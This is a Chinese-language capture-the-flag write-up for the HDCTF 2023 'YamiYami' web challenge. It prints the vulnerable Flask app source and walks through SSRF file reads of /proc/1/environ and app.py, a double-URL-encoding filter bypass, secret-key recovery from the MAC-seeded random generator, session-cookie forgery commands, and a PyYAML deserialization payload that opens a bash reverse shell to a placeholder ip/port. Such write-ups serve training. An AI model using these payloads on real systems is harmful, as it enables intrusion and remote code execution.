HDCTF 2023 YamiYami

非预期解:进入题目界面第一个点开/read路由跳转到百度,发现有文件读取,直接file:///proc/1/environ读取环境变量得flag

预期解:

在/read路由尝试读app.py和flag发现被正则过滤,url二次编码app/app.py:

这里有url二次编码可绕过过滤

1
file:///%25%36%31%25%37%30%25%37%30%25%32%46%25%36%31%25%37%30%25%37%30%25%32%45%25%37%30%25%37%39

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"
@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="[/read?url=https://baidu.com](view-source:http://node2.anna.nssctf.cn:28427/read?url=https://baidu.com)">Read somethings</a>
<br>
Here is the challenge <a href="[/upload](view-source:http://node2.anna.nssctf.cn:28427/upload)">Upload file</a>
<br>
Enjoy it <a href="[/pwd](view-source:http://node2.anna.nssctf.cn:28427/pwd)">pwd</a>
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'
def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])

在/boogipop路由发现yaml.full_load(f)可知这里可以pyyaml反序列化,还需要修改session[passport]=Welcome To HDCTF2023.然后传参file=你上传的文件就能反序列化其中的内容

前提知识:
在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode()
方法来获取计算机的硬件地址,这个地址将作为 UUID 的一部分。
那么/sys/class/net/eth0/address,这个就是网卡的位置,读取他进行伪造即可。

利用为协议读取到网卡地址,在利用脚本内进行解密,修改上班

1
2
3
4
5
import random
random.seed(0x0242ac02e293)
print(str(random.random()*233))


得到secret_key是141.04900203197468

之后session伪造

1
2
python3 flask_session_cookie_manager3.py decode -c "eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.ZQ6iLA.1bAPKmKsaDM4mePRtx9J7xw5EUk" -s "141.04900203197468"
{'passport': 'YamiYami'}
1
2
>python3 flask_session_cookie_manager3.py  encode -s "141.04900203197468" -t "{'passport': 'Welcome To HDCTF2023'}"
eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.ZQ6iZQ.YCpaoTH0-UzTB1p3Y82XrgKp2oU
1
2
3
4
5
6
7
8
9
10
!!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/port <&1\"')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list

命名1.txt在upload页面上交躲避黑名单
然后在/boogipop路由下改变session,file=uploads/1.txt

最终试了半天过不了,真是奇了怪了,好像环境有点问题